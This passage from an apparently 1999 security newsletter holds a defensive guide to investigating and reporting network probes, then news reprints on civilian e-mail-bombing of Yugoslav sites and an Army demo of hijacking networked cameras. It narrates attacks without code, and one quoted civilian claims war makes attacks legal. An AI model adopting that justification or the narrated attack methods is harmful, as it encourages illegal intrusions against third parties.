       Unfortunately, all suspicious network activity can not be ruled out. Network probes should be considered 
       hostile until you know exactly what you are dealing with. Why would someone want to break into your 
       network? You tell me! There are many reasons for breaking into networks. Are they looking to deface a 
       web page? Do you have political enemies that are network savvy? The good news is that you may have 
       detected their early network probing efforts and now you can act accordingly. 
       
       WHEN?
       
       Knowing when something happened allows you to construct a timeline or order of events. The order of 
       events may be very crucial to determining the exact steps taken by hackers using network probes. Did they 
       attempt a DNS zone transfer before we deployed the new DNS server? Did the scan on the internal web 
       server occur after the firewall changes? These are example questions that depend on accurate time 
       reporting.
       
       One key to determining the order of events is to use a common time source. The Network Time Protocol 
       (NTP) is very reliable, accurate and resistant to a variety of attacks. NTP can be used to synchronize all 
       network and server nodes with a very accurate and uniform time source. With all of them synchronized, log 
       analysis becomes a lot easier. I also recommend trying to keep all of your systems on the same time zone 
       clock. If you are unlucky enough to have servers in multiple time zones all keeping local time, then log 
       analyses can become very cumbersome. With one unified time clock, it may be easier to detect network 
       wide probes of your systems.
       
       Having a good and reliable time system is also crucial if you want to enter any of the logs into a court case 
       as evidence. 
       
       WHERE?
       
       When analyzing network probes, the question of  'where' is often overlooked. We are referring to the 
       physical and electronic location of all of the computers involved, including the security systems. 
       Identification of system locations is important to help understand and analyze recorded data. It may also 
       explain why some information is missing or inaccurate. 
       
       Confirmation of physical and logical location is often necessary when conducting an investigation. Your 
       network maps may not be up to date. There have been cases when a simple network connection mistake has 
       placed a vulnerable server outside of a protecting firewall. It may be helpful (and surprising) to obtain a 
       remote account and conduct network mapping probes to see how things are connected.
       
       The use of Ethernet addresses can also be of great use when identifying the sources of spoofed IP packets. 
       Although Ethernet packets can be trivially spoofed locally, they can't be spoofed across the Internet. This 
       can help you determine which router or switch interfaces spoofed packets may have originated from.
       
       Analysis of the packets indicates an automated probe of only the DNS servers. Other ISP security contacts 
       report their DNS servers have been scanned for similar ports. You theorize that the port 0 is being used to 
       remotely identify LINUX servers. This theory is further corroborated when you also realize that ports 21, 
       143 and 2049 have all had recent LINUX remote buffer overflow attacks published. 
       Rule #4: Determine if you are vulnerable
       
       Continuing with this scenario, you do a quick inventory check of the DNS servers and discover that one of 
       them is a brand new LINUX install. The server is on the other side of the country and they won't be up for 
       another four hours. What do you do?
       
       Every network security program should conduct regular vulnerability testing using commercial and free 
       network security tools.  It is one of the best ways to determine if you are at risk to common network 
       attacks. But what if someone is probing you on a port that you have never heard of? What if they are 
       probing you on a port that you thought had no security problems? There are several things you can do. 
       
       First is to identify the port if it is not well known to you. Set up a network analyzer and collect some traffic 
       on that protocol. Analysis of the traffic may help identify it. There are a variety of proprietary network 
       protocols such as PC Anywhere. These may seem very strange and unfamiliar to you. Another technique 
       you could try is to take an inventory of all of your network software. This is unrealistic in a short time 
       frame, but usually identifies a variety of programs (and protocols) that could cause the traffic you are 
       looking for. If all else fails, consult the Internet news groups. There is a lot of open discussion about 
       network protocols and you may be lucky enough to find one about yours. 
       
       For example, when I first got my cable modem, I saw a variety of traffic to my computer that was UDP and 
       port 22. All of the packets contained two bytes of ASCII data that were 'NQ'. I had no luck finding out what 
       the protocol was until I stumbled onto a firewalls discussion list that was talking about PC Anywhere. 
       
       Once you know the target, try to determine the threat. Again, this is very subjective. I try to look for recent 
       vulnerabilities described in the various network security groups on the Internet. Recently, I've begun to 
       observe scanning for port 21 on a variety of firewalls and intrusion detection platforms I have access to. 
       Prior to this about three weeks ago there were several posts that could remotely exploit the Washington 
       University FTP Daemon. It makes sense that people are looking for FTP servers to attack because this is a 
       new vulnerability.
       
       Of course the only way to know that you are vulnerable is to actually test the problem. You can be safe and 
       disable the service if you don't need it, but not everyone has that luxury. Getting your hands on the latest 
       exploits is usually not a problem. There are a wide variety of full disclosure security mailing lists and web 
       sites. There are also a wide variety of consultants available to help you with this sort of thing. Testing your 
       network lets you know what hackers and network scanners may see or already have seen. 
       
       Don't fall into the trap of having an operating system that an exploit isn't available for yet still having the 
       vulnerability. For example, there are all sorts of remote buffer overflows written for the LINUX platform. 
       Just because you are running a SPARC station doesn't mean you are safe. Ports of exploits to new systems 
       can appear at any moment and any hacker worth his or her salt should be able to port exploits between 
       systems.
       
       If you are vulnerable then you may have a problem. First of all, you've seen scanning and you think you are 
       vulnerable. It would be wise to approach the box with caution as it may have been compromised. Second, 
       you need to figure out what sort of impact that box has on the network so you can decide what actions you 
       want to take to secure it. Can you down the box to make some patches? Is the box a single point of failure 
       for the network? Can you protect the box by making a firewall rule change someplace else? The important 
       thing here is to mitigate any negative impact on your network.
       
       Using a port scanner on the LINUX server finds five open ports including FTP(21), IMAP(143) and 
       NFSD(2049). Your staff also confirms that the server is used for testing. Because of the malicious scanning, 
       the possible vulnerabilities and its lack of impact on the network, you decide to disable the server. You 
       connect to the west coast SSH gateway and disable the Ethernet port on the network switch, effectively 
       isolating the server in case it was compromised. 
       Rule #5: Tell Someone!
       
       Continuing with this scenario, you send some encrypted email to your counterparts on the west coast. You 
       also leave some voice mail explaining the situation. Their security staff will conduct a forensic analyses of 
       the server. Trying to keep everyone in the loop, you document the situation and email your management 
       and selected operations people. You also contact the corporate security staff.
       
       It may seem surprising, but many security problems and events do not get reported for a variety of reasons. 
       These reasons are a combination of technical and political factors that prevent a clear reporting system. We 
       will discuss some of the specific reasons that security incidents don’t get reported.
       
       Blame 
       
       Many system and network administrators do not  report security events because they believe it will reflect 
       poorly on them. An administrator may have previously boasted that "no one" can break into their network. 
       Managers need to realize that these claims are ludicrous and should expect to see monthly security reports 
       detailing suspicious network activity. 
       
       Chain of Command 
       
       Who should a security event get reported to? If an organization has not stated how to handle security 
       events, then when one happens it will get handled ad hoc. Most people correctly assume they should tell 
       their immediate supervisor. This is true, but if a security department exists that has been trained to handle 
       security situations, then they may be kept out of the loop. It may also be unclear what your supervisor may 
       do with the information.
       
       Management Indifference 
       
       It may be difficult to explain exactly why a specific type of network activity is 'bad' to inexperience 
       management. Technology marches on and it is difficult to keep up with it for some people. However, this 
       should not prevent an employee from reporting a possible security situation. Don't be afraid to use 
       analogies to get your points across about network probes. Be prepared to demonstrate how an attacker 
       could be probing your network to gain proprietary information. 
       
       Management Overreaction 
       
       The opposite of the above example is true. If a network manager is not accustomed to experiencing 
       network probes and scans, then the first time they occur may be traumatic. The best way to handle this is to 
       be up front about the threat to your networks when you talk with your manager or supervisor. Be wary of 
       any drastic measures taken by your management such as calling the FBI or the newspapers. That may not 
       be the best course of action for the given situation. 
       
       The corporate security staff contacts you immediately. They have hired computer security consultants to 
       conduct a penetration test of the corporate networks. So far you have been the only person to detect and 
       report the scanning.
       Rule #6: Continue to Monitor
       
       On a different day, one of your TCPDUMP sensors starts to collect a variety of suspicious traffic. Someone 
       had caused a bunch of RealSecure alarms a few days ago. You responded with placing some TCPDUMP 
       sensors on your network that collected anything from the suspicious IP addresses. It is strange that none of 
       this traffic has caused a RealSecure alarm. What could it be?
       
       Once security probes have been noticed, the most important thing that a network administrator can do to 
       their network is to make sure it is monitored. Depending on you network, you may be able to leverage your 
       operations center. You may also have to place extra intrusion detection sensors. Some people may even 
       wish to deploy packet analyzers. Regardless of your technique, it is important to keep a watchful eye for 
       any suspicious activity. The heightened state of alert exists because your network has been probed and you 
       have made a determination that a network attack may be imminent.
       
       When leveraging any operations center, its important that you give them as much information on how to 
       contact you as it is to accurately describe the security situation. In security situations, most operations 
       personnel will contact you when anything suspicious occurs. Unfortunately, this may include normal 
       network performance problems such as routers failing and Windows NT machines blue screening for no 
       reason. Giving an operations center access to the intrusion detection systems is also a good thing. 
       Hopefully this has already occurred on your network. Leveraging quality 24x7 people can only be effective 
       if they are properly trained and have well planned security response procedures.
       
       If you choose to deploy extra intrusion detection infrastructure, then you really have two choices. You can 
       change the current rules used by the IDS to be more sensitive or you can deploy completely new systems. 
       All IDS products are 'tuned' to a particular network. Thresholds need to be set and when they are exceeded, 
       alerts and events are recorded. In a hostile environment where an attack may be imminent, lowering these 
       thresholds may record extra probing from an attacker. It will also record more false positives. Deploying 
       more IDS platforms may also be an option. If you have portions of your network that are not covered by the 
       current set of IDS platforms, then deploying additional sensors may expose further attack or network probe 
       activity. 
       
       Some security gurus may also wish to deploy a set of packet analyzer filters. The most common of these is 
       TCPDUMP. These packet analyzers are deployed with similar strategies to packet based IDS platforms. 
       You want to expose them to as much traffic as possible. In a switched environment, there is a possibility 
       that you may want to run TCPDUMP on a web server or some other isolated production server. If you do 
       this, keep in mind that you should try to obscure the sniffing program. Most network attackers are very 
       familiar with network packet monitors. If they compromise a server that has a network analyzer running, 
       they may find these logs and delete or modify them. 
       
       When constructing packet filters to monitor suspicious traffic there are several strategies. You can log by 
       destination port, destination address, source address or for a specific packet signature. Watching for 
       specific destination ports can be very effective if you are in an environment where those ports are not 
       active. Consider monitoring the network for all IMAP traffic which may be a service that a network 
       scanner is targeting. If you do not have any IMAP servers, then scan attempts for this service will stand out. 
       Sniffing all HTTP traffic in a web environment would not be a good idea unless you had some 
       sophisticated analysis tools to deal with the barrage of recorded data. The same rules apply to destination 
       addresses. If you have busy server, then logging all traffic to it may not be a good idea. But if the server is 
       not heavily loaded, then recording all traffic may be an option. Sniffing based on the source IP address or 
       source IP network may also find interesting activity. And finally, if you know or suspect the scanning 
       techniques in use by a hacker, consider writing specific packet capture rules. A very easy example of this 
       type would be to record any FIN-SYN packets. Hopefully your IDS is doing that already though. 
       
       Analysis of the traffic shows that the attacker is directly probing for RPC ports in the 32700-32800 range 
       only on your Solaris servers. They must have performed some operating system fingerprinting last time 
       they scanned your network. Looking at the traffic, there are an equal number of packet to each Solaris 
       server except for two. Both of those have a third party backup program on them which uses an open RPC 
       port. Sure enough, the scanning has focused in on these two servers. Your interest becomes very intense 
       when you realize that there was an attempt to spawn an XTERM session from one machine to the attacker's 
       IP address.
       Rule #7: Contact the Source
       
       Continuing with this scenario, after consulting with your security staff, you decide to contact the ISP where 
       these RPC scanning events are originating from. You get all of the facts together and find the 'abuse' point 
       of contact on their web page. Luckily, the ISP is in the same time zone so you can call during normal 
       business hours. The ISP security manger tells you they had one of their LINUX DNS servers compromised 
       and used to scan other networks. They are sorry for the inconvenience and assure you it won't happen 
       again.
       
       When you choose to contact another network organization that is part of the Internet, you must keep a lot of 
       things in mind. The most important thing you can be is organize and present your information clearly. 
       Separate your conclusions from your solid data. Allow the person you are contacting to think about the 
       situation for a moment. Don't demand immediate action. Here are some other guidelines to use when 
       making contact:
       
       Don't expect to talk to someone right away 
       
       Other security people are just like you. They get sick, go to lunch and take vacations. It is not unreasonable 
       to contact an organization and find your security point of contact unavailable. In this case, you may have to 
       deal with someone who is less skilled in security terminology or network administration. When this 
       happens I like to ask for anyone who operates the servers or routers. Usually these people are very capable 
       and can help analyze security events.  
       
       Language 
       
       If you attempt to contact foreign countries to chase down suspicious events, you may encounter someone 
       who does not speak your language. English is very common worldwide, but there is no guarantee that you 
       can use it to tell someone about a security incident. Some cultures can read English better than listening to 
       it so consider sending emails or even fax communications. If you have any non-English speaking assets in 
       your organization, it may be a good opportunity to tap them for translator duty.
       
       Time Zone 
       
       Most commercial networks have some sort of 24x7 operations, but security gurus still seem to keep normal 
       daylight hours. The person you are calling may be asleep. Realizing this, you may be lucky enough to get 
       an organization that realizes the importance of your call and follows a procedure to wake the key 
       individuals up for some analysis and hopefully some answers. On the other hand, you may also call and get 
       an answering machine. In this situation you should leave concise information and multiple points of contact 
       on your end. 
       
       You may be talking to the hacker 
       
       In some cases, the person listed as the security point of contact may actually be responsible for the scanning 
       of your network. Many hackers get jobs at ISP and other commercial network organizations. Many of them 
       even get jobs in network security capacities. It is not unthinkable that these individuals may abuse their 
       powers. Some telltale signs of this may include apathy to the situation, denial of the events and even open 
       hostility. If nobody asks you for your name, telephone number or email address then something may be 
       amiss. If the person has any knowledge of the scanning that you did not volunteer, then this may also be an 
       indicator they are hiding something. 
       
       They might not do anything 
       
       Some network organizations are very busy. In rare cases, the people you contact won't do anything. Some 
       ISP networks have an attitude that they provide unrestricted connectivity for their users and aren't 
       responsible for their actions. Other organizations will help you, but are so busy with other security events 
       that it may take some time before they can handle your complaint. Providing clear and concise facts about 
       the incident can make their job easier and get quicker results for yourself.
       
       They might do to much 
       
       Depending on what the situation is, your information could get some people fired, kicked out from the ISP 
       and even sent to jail. I've had at least one ISP tell me they have "black listed" an individual for hacking. 
       Some security events are honest mistakes, but it is possible for your point of contact to overreact and take 
       some action that you are not comfortable with. For instance, an ISP may place a rule in their outbound 
       packet filters that prevents any traffic to your network from theirs. This is very secure, but now nobody 
       from that network can get to your web servers, send email or play Quake. 
       
       They may have had a break in 
       
       During many security situations, the people you are contacting may have suffered a security compromise. If 
       this is the case then either they know it or they don't. If they know about the break-in, then they may be 
       forth coming with all sorts of information. They may also be deceptive and try to hide the incident. If they 
       do not indicate that they have been compromised, but you think they have, it's very important to try and get 
       this information to the correct people. Telling a receptionist isn't going to help the problem get fixed unless 
       you need his or her help to find the correct people. Taking a chance and calling a webmaster, the sales line 
       or even customer support will usually get you within one or two phone calls of the correct person to talk 
       with. They may ask you to work with them in analyzing and tracking down hackers. Be carefully not to 
       discus any proprietary network information or security invents that do not directly involve your point of 
       contact. This will shield you from inadvertently compromising someone's right to privacy.
       
       Everything you say may be used against you 
       
       It's been said before, but I'll say it again. All of the conversations, intrusion detection events, logs, packet 
       dumps and reports that you or your staff are involved in may be admissible in a court case. Be careful who 
       you give logs to. You may or may not want your logs used in a court case or even have you or members of 
       your security staff called as witnesses in a trial. I'm not going to preach moral values of network security, 
       but it might not be in your best interests to assist some other network organization half way across the 
       country to prosecute a hacker. Of course the corollary to this is true also. Wouldn't you like it if another 
       security expert was willing to testify that they detected probes from the individual(s) on trial for breaking 
       into your network? Another aspect to keep in mind is to only give out log information to people who truly 
       need access to it. The data can contain a variety of privacy information such as passwords and network 
       usage. Only give the data to people you feel have a need to know and can effect responsible changes to 
       prevent further network abuse.
       
       Email may have been compromised 
       
       One last comment is to think twice before sending security event information over email. Email can be 
       easily compromised. However, monitoring a large volume of email traffic may be outside the scope of a 
       hacker. I like to email points of contact that have multiple accounts and choose one that is not on the 
       possibly compromised network. Also consider the use of encryption.
       
       Final thoughts:
       
       Be professional when you handle yourself with other people outside of  your organization. If you are in the 
       business of selling Internet access, professionalism and common courtesy can take you a long way. The 
       security community is very small and you may be surprised how often you'll run into other security people 
       from different organizations.
       
       You are satisfied with your analysis and resulting conversation about the RPC scanning with the ISP. 
       However, when writing the summary report you realize that the scanning did not originate from the ISP's 
       DNS server, but one of their file servers. There is a good chance that they have been further compromised 
       and do not know it. You review your logs once more to confirm your suspicions and then contact the ISP 
       once again.
       Rule #8: Consider Telling Outsiders
       
       When security events occur, you may want to consider getting the word out to other Internet groups. There 
       are a variety of outlets for this sort of information. What is right for you depends on the situation. Consider 
       telling other organizations through the following means:
       
       FBI or Authorities 
       
       The FBI and other authorities are continually getting better at tracking down hackers. The United States 
       military also has an excellent program to track down suspicious network events. Regardless, the security 
       events that you wish to bring to attention by these organizations should be something new or serious 
       activity. What is this sort of activity? I would say any activity that spans multiple networks or 
       organizations. An example of this could be organized targeting of web servers that accepted credit card data 
       at multiple locations at multiple companies. Another reason to contact the authorities is if you have 
       information that could be useful to an ongoing investigation. Many security events are covered in the media 
       and your information could be related and prove useful.
       
       CERT Organizations 
       
       Computer Emergency Responses Teams track network security events and in some cases, will directly 
       respond to them. Most people have heard of CERT advisories. Some of these advisories do not have 
       vulnerability information, but warn of hacker activity. Information that you report to CERT can help 
       produce better and more timely advisories. If you think that network scanners are looking for a new 
       vulnerability, then CERT can use this information when issuing new vulnerability advisories. There are 
       many different CERT organizations. If you are in the United States military, you should report security 
       incidents to your branch's CERT agency. There are many CERT organizations that span international and 
       corporate entities. Choosing which CERT agency to report an incident is sometimes a difficult task, but can 
       get you more focused support.
       
       Mailing Lists
       
       In some cases, reporting scanning activity directly to a security mailing list can be beneficial for a variety 
       of reasons. First, the information is very timely. Readers of the mailing lists are there to exchange 
       information about new security vulnerabilities and your report of network scanning may spawn discussion 
       as to what it could mean. Second, other people that have had similar network security events may come 
       forward with other information. They may post to the mailing list or contact you directly. One word of 
       caution though, hackers and malicious individuals also have access to these mailing lists. Don't disclose any 
       information about vulnerabilities in your network or unique information about your network such as IP 
       addresses or domain names. You may even want to get a second shell account just to send email to these 
       mailing lists. Free web based email services such as Hotmail are very useful for this sort of activity. 
       
       Security Web Sites
       
       There are also a wide variety of security web servers on the Internet today. These sites track vulnerabilities 
       and hacker activity. Writing a story or submitting some content about recent scanning activity may help 
       find a solution to the problems. Follow the same sanitation rules with your content to prevent drawing 
       undue attention to your network.
       
       Company Outsiders 
       
       In some cases, it may be appropriate to raise the level of concern at your company. If more money or 
       resources should be involved with network security, then telling Vice Presidents and other upper corporate 
       management may get you some results and raise awareness. In some cases, CEOs and CIOs may have 
       misconceptions about the current level of network security. There is nothing like a security event to bring a 
       little reality to the situation.
       
       The Media 
       
       Bringing the media into a security situation is usually a recipe for disaster. Most security experts agree that 
       the last thing you should do is to tell other people how secure you are or tell them that you are under 
       network attack. This is a magnet for hackers. You might as well hang a sign on your web page that says, 
       "Hack Me!". Realistically though, the media can be used to tell your customers about your network security 
       if it is done right. If you have firewalls and intrusion detection systems, then there is really nothing wrong 
       with telling people that you have firewalls and intrusion detection systems. Just don't make the leap and 
       state that you have "impenetrable" security. With security incidents, care must be taken to present a positive 
       image about your company or network without reflecting poorly on yourself. Press releases are an excellent 
       tool for this purpose. 
       Rule #9: Determine What Attracted Attention
       
       Any investigation of suspicious activity should attempt to conclude what attracted the network scanning in 
       the first place. By attempting to discover this information, you may prevent some scanning in the future. 
       Hackers tend to be opportunistic. Unless they have a bone to grind with you, most malicious hackers are 
       simply looking for vulnerable servers to compromise. Here are some things that opportunistic hackers look 
       for:
       
       Default Web Server Splash Pages
       
       One of the easiest ways to quickly assess the security of a network is to visit each of its web servers and see 
       how many of them display the default Internet Information Server or Apache splash pages. These can 
       usually indicate recently deployed systems, development networks or systems that are not maintained that 
       well. All of these may have security problems. The combination of the security possibilities and the lack of 
       maintenance can be a green light to most hackers. 
       
       DNS Entries
       
       If your DNS server has names for network nodes such as 'test-linux-1', 'guest' or even 'web-development', 
       then these names could attract a hacker's attention. Naming things by their function ('router1', 'firewall-3', 
       etc.) tells your staff and the entire world exactly what the operation of a particular network node is. If an 
       attacker is looking for a particular exploit to try, they may consult your DNS server to find a target. In some 
       cases, poorly maintained DNS entries can also indicate a poorly administered network. Many hackers 
       (correctly) assume this also means poor security. A good example of a DNS problem is the advertisement 
       of RFC 1918 addresses through normal DNS queries. 
       
       Default Exploitable Services
       
       Many hackers will conduct a quick limited probe to find out how secure or unsecured a given network is. 
       What they may be looking for is a group of computers not protected by a firewall and offering a variety of 
       services such as DNS, TELNET, FTP, SMTP, HTTP and RPC. For example, if a hacker does conduct a 
       quick port scan of a web server which results in only port 80 being active, then the hacker may conclude 
       that the site is reasonably secured. Compare this to a port scan of the web server that discovers twelve 
       active ports. Each situation represents a different level of perceived security posture.
       
       Press Releases
       
       Nothing draws attention to your site like the media. If your company or clients to your company have 
       media exposure, then it follows that some hackers will get the idea to try and scan or hack you. At least one 
       ISP I am aware of was dismayed when one of its customers actually challenged hackers to break into their 
       web server. The ISP suffered fratricide when attacks on the web server spilled over to the operations center.
       
       Internet Relay Chat
       
       Running IRC servers is an easy way to attract hackers. Many hackers stereotypically spend hours on end 
       chatting about a variety of topics. When hackers disagree with each other, they will use a variety of denial 
       of service attacks to disable the other person's network access. In some cases direct attacks on the other 
       person's network will also ensue. Having network users that spend time in IRC chat discussions is also an 
       advertisement to hackers. The debate to allow or not to allow IRC access from your network may be abated 
       by providing free access to a shell accounts outside of your network, or by placing an IRC server outside of 
       your firewall.
       
       Hacker Web Pages
       
       Nothing attracts hordes of hackers like a hacker web page. Many of these pages suffer network attacks. 
       Many of these pages are also seen as 'trophy' pages that various hacker groups would like to claim credit 
       for hacking. If you run a network that has this sort of information, you may be experiencing a certain level 
       of security events simply because people are poking around your network looking for ways to break into 
       the hacker web page. 
       
       Do you have hackers working for you?
       
       If you have a hacker working for you or at your company, then the suspicious probes you may see could be 
       coming from the hacker during off hours or from the hacker's friends (or enemies). 
       
       Could it be corporate espionage?
       
       Not all hacking events are random acts of opportunity on a hacker's part. The suspicious events could 
       indicate a coordinated effort to compromise the security of your network to obtain some level of 
       information. This information could include email, trade secrets, plans, spread sheets or any number of 
       other proprietary pieces of information. 
       Internal Security Events
       
       If you suspect that an internal person in your company is conducting network probes or doing something 
       nefarious, then you should follow some loose guidelines when analyzing and presenting evidence.
       
       Limit your opinions
       
       Do not spread rumors or false accusations about any individual suspected of abusing their network access. 
       This could be viewed as slander in a court case. When presenting suspicious internal security information 
       to other individuals, do not associate any suspected individuals with the data. Try to sanitize the data before 
       presenting it to any group of people. Once someone is branded a hacker, they have a tough time loosing 
       that image even if they are shown to be innocent. Also keep in mind that other people may not have the 
       same opinions about security as you do. Depending upon their position and yours, you may have to work 
       out an agreement or get an interpretation of your network security policy. 
       
       Document, Record & Save
       
       Try to save as much information about the suspicious events as possible. In most cases, these events are 
       more powerful and damaging (and damning) than your word alone. Make sure that the records are in a 
       secured place where they cannot be tampered with. Physical media such as CD-ROMs are ideal for this sort 
       of application. These records will become very crucial in any decisions to terminate an individual. They 
       may also play a role in any police or FBI investigations.
       
       Involve Human Resources and Corporate Security
       
       Most companies have an HR department that deals with personnel issues. Some companies also have a 
       corporate security group that handles internal security issues. Involving both of these organizations can 
       help protect your interests as well as the company's . They may also have other information that you don't 
       have. Consider the example where an employee has submitted their two week notice and has started to hack 
       the network form the inside. This is a very serious situation which you may have only perceived as a minor 
       network nuisance. If you are the technical subject matter expert on security, you may be asked by these 
       groups to assist in an investigation.
       
       Avoid Target Fixation
       
       We are all human. Chances are you would not like your actions to be monitored on a regular basis. Small 
       acts such as taking office supplies for home use seem much more serious when an investigation is 
       underway. The same is true for network security investigations. For example, just because a person is 
       visiting hacker web sites does not mean they are a hacker. Focusing to much on a person's network 
       activities can provide a myopic view of the big picture.  
       
       Challenge The Individual
       
       Once the proper authorities are involved and there is agreement that the individual is doing something 
       strange on the network, the individual should be challenged. If this is done correctly, then the individual 
       will be surprised and may give themselves away through statements they make. That is of course if they are 
       hiding something. You should carefully use these meetings to find out what the individual was doing. Ask 
       direct questions about network usage and try to find anything that can explain the suspicious network 
       traffic. If you hit a break wall, you may want to tell the individual what sort of traffic was observed. 
       Stereotypically, this is when the person confides that they let Bruce from the accounting department use the 
       computer during lunch time. 
       
       You should also have a physical inspection of the computer performed while the meeting is taking place. 
       These may seem like very extreme measures, but if an individual is to be terminated immediately, the 
       chance to discover Trojan horse programs or logic bombs needs to be addressed. Also a physical inspection 
       of their computer may provide contradicting evidence to their testimony or explanation of their activity. 
       
       Final thoughts:
       
       Computer analysis should best be left to computer experts. However, since security events involve people, 
       the best chance of catching an internal hooligan may come from an ex-police officer or an ex-investigator. 
       People with these backgrounds and some good computer knowledge are becoming very popular to handle 
       computer crime investigation. If your company has these assets, then I strongly urge you to involve them in 
       computer security incidents.
       Final - 'Final Thoughts'
       
       Following the steps outlined here may save you a lot of time and headaches when dealing with network 
       probes and security events. I urge you to discuss these concepts with your staff and management. You 
       should also discuss this information with any other people in your organization associated with network 
       operations. 
       
       The one thread that holds all of these rules together is 'common sense'. Analysis and termination of network 
       probes and security events occurs in the human world. It does not occur in the computer world. Dealing 
       with other people can be tricky. Be nice. Be courteous. There are some people at your company and at 
       other networks that won't be easy to work with, but this is a fact of life that usually rears itself during a 
       security event. Act professional and stick to the facts. For a variety of reasons, many people tend to forget 
       these when placed under pressure in high tension situations. Good luck!
        
       [EoA]
        
       @HWA 
       
 33.0  Civilians go online to fight
       ~~~~~~~~~~~~~~~~~~~~~~~~~~~~
       
       Forwarded From: Luther Van Arkwright <waste@zor.hut.fi>


       http://www.foxnews.com/stage11.sml
       
       
       E-Strikes and Cyber-Sabotage: 
       Civilian Hackers Go Online to Fight 
       7.19 a.m. ET (1119 GMT) April 15, 1999 
       By Patrick Riley  
       
       
       Richard Clark is not in the military, but when he heard news reports
       earlier this month that NATO's Web site had been attacked by Belgrade
       hackers, he wanted to do his part to help the allies. So he turned to his
       keyboard. 
       
       
       Using software available on the Internet, the California resident sent an
       "e-mail bomb" to www.gov.yu, the Yugoslav government's main Web site. On
       April 3, a few days and 500,000 e-mails into the siege, the site went
       down, Clark said. 
       
       
       Clark does not claim full responsibility for the cyber-sabotage; he
       assumes others may have had similar ideas. But he is confident he "played
       a part." 
       
       
       He is just one of untold numbers of civilians on both sides of the
       conflict who have gone to battle from their desktops, raising new
       questions about the role of civilians during times of war. 
       
       
       The Internet Onslaught
       
       
       Although classified NATO or Yugoslav information is not connected to the
       Internet, tactics like e-mail bombing — sending mail non-stop to the same
       address until it floods its server — can still cause major trouble.
       Crashing public Web sites could cut off main channels of propaganda or
       disrupt important budgetary information that militaries do store online. 
       
       
       "If you got the right access you could actually turn their machines off,"
       stated Clark, who said he served in the Army and has worked for the
       Department of Defense and the FAA, and now runs a private firm which sets
       up computer networks. "That has a whole snowball effect." 
       
       
       But he admits his was a low-tech attack. He likens it to "stuffing a
       T-shirt down your toilet and flushing it." 
       
       
       "There's probably real hackers out there trying to do it, doing things
       that are far more sinister than what I was doing," he said. 
       
       
       Indeed this appears to be the case. The Boston Globe reported that an
       American hacking group called Team Spl0it has broken into several Web
       sites and posted statements such as "Tell your governments to stop the
       war" and a coalition of European and Albanian hackers calling themselves
       the Kosovo Hackers Group has replaced at least five sites with black and
       red "Free Kosovo" banners. 
       
       
       On the other side, in addition to the attacks on the NATO site — suspected
       to be the work of Serbs — Russian hackers have gone after U.S. Navy sites. 
       
       
       Any damage caused by such stunts, however, is often quickly remedied — the
       Yugoslav site was back online soon after its early April troubles. 
       
       
       And the biggest attack on Yugoslavia's information infrastructure has come
       not from the hands of hackers but from NATO bombers blowing up bridges
       used to carry wires, and even from the Yugoslav government itself
       dismantling communications systems to deprive its people of outside
       information. 
       
       
       Vigilantes and 'Hacktivists'
       
       
       Still, encouraging civilians to participate in a diplomatic or military
       conflict "would set a dangerous precedent," said John Vranesevich, founder
       of AntiOnline, a Web site that tracks the hacking culture. He worries that
       vigilante "hacktivism" in the name of a nation could have War Games-like
       consequences. 
       
       
       "You could have shut down communications to a country and all of a sudden
       it looks like something our country did on an official stance,"  he said,
       adding that diplomatic relations with Beijing were strained a few years
       back when a site run by hackers Legions of the Underground posted a
       declaration of war against China. 
       
       
       "I think hacking is a bad idea, no matter what it's directed at," said
       Peter Tippett, president and CEO of the International Computer Security
       Association, a Reston, Va.-based consulting firm. 
       
       
       Such terrain should be left in the hands of the military, he said. "If the
       military thought it was appropriate to attack the infrastructure of
       Yugoslavia they would certainly do it," he said. "They can do it if they
       want to and they would be far more effective than a kid with tools of the
       Internet." 
       
       
       The Department of Defense, the State Department and the FBI's National
       Infrastructure Protection Center all declined to discuss ongoing
       cyber-warfare. The Department of Justice did not return a call for
       comment. 
       
       
       Clark hopes the military is doing its best to hack Serb systems. "It would
       seem to me that you'd want to use all your assets at a time like this," he
       said. 
       
       
       He says his own vigilantism is therefore easily justifiable. "This is war
       and everyone should do their part," Clark said. "I think the illegality
       stops when you're at war, really." 
       
       
       Brief Triumph
       
       
       But before Clark could revel in his victory too long, he got an unpleasant
       response from his Internet service provider. The ISP, Pacific Bell, cut
       off his service. (However, he said, he can still log into his e-mail
       account through a friend's computer.) 
       
       
       While he expected the Internet and phone company might inquire as to his
       activities — especially if the mail had bounced back and clogged PacBell's
       server — he said he didn't expect such punishment. 
       
       
       A PacBell spokeswoman said Internet behavior like Clark's violates its
       spamming policy — and war is no excuse for that. "In general, they don't
       change their policies based on what's going on in the world,"  she said.
       "Somebody else could come back and say they need to spam this dog site
       because 'they didn't take good care of my dog.'" 
       
       
       "How, in a time of war, can my ISP cancel my account for attacking the
       enemy?" he asked via e-mail. "This is not right. We can pound these
       military targets with bombs, but a private citizen cannot hack the
       enemies' Web presence? This is just ludicrous!!" 
       
       
       
       
       -o-
       Subscribe: mail majordomo@repsec.com with "subscribe isn".
       Today's ISN Sponsor: Hacker News Network [www.hackernews.com]
       
       @HWA
 
 34.0  Video cameras and microphones in your system also a target for hackers
       ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
       
       Forwarded From: William Knowles <erehwon@kizmiaz.dis.org>


       http://www.fcw.com/pubs/fcw/1999/0412/web-mike-04-14-99.html
       (Federal Computer Week) [4.14.99] Do you have a microphone or video camera
       connected to your computer or network? If you value your privacy, turn
       those devices off, a top Army computer protection official warned today.
       Philip Loranger, chief of the Command and Control Protect Division in the
       Army's Information Assurance Office, demonstrated how anyone can attack a
       network and turn on any camera or microphones connected to that network
       with what he called "not very sophisticated hacker tools'' downloaded from
       the Internet.
       Loranger, who conducted an attack on a dial-up military network in
       Columbia, Md., from an Association of U.S. Army Information Assurance
       symposium in Falls Church, Va., said the .mil system he managed to
       penetrate -- and whose identity he would not disclose -- did not have any
       intrusion-detection system despite the spurt of recent publicity about an
       increase in hacker attacks. Using "point and click'' hacker tools,
       Loranger said he cracked three out of seven passwords on the system.
       Once inside the network, Loranger said he then probed the network and
       discovered a "read/write password file'' that allowed him to delete the
       "super-user'' password, allowing him to create a super-user password for
       himself, giving him free reign over the system. Loranger said this then
       allowed him to search the system for any microphones or cameras connected
       to it and then turned them on. "I can capture conversations and bring them
       back to my own computer,'' Loranger said, "and I can turn on video cameras
       and bring pictures back.''
       
       
       The Army conducted this "white-hat attack'' after warning the target
       facility to expect it, Loranger explained, but the lack of
       intrusion-detection devices did not provide the system's users with any
       warning "until I launched a denial-of-service attack and brought the
       system down.''
       
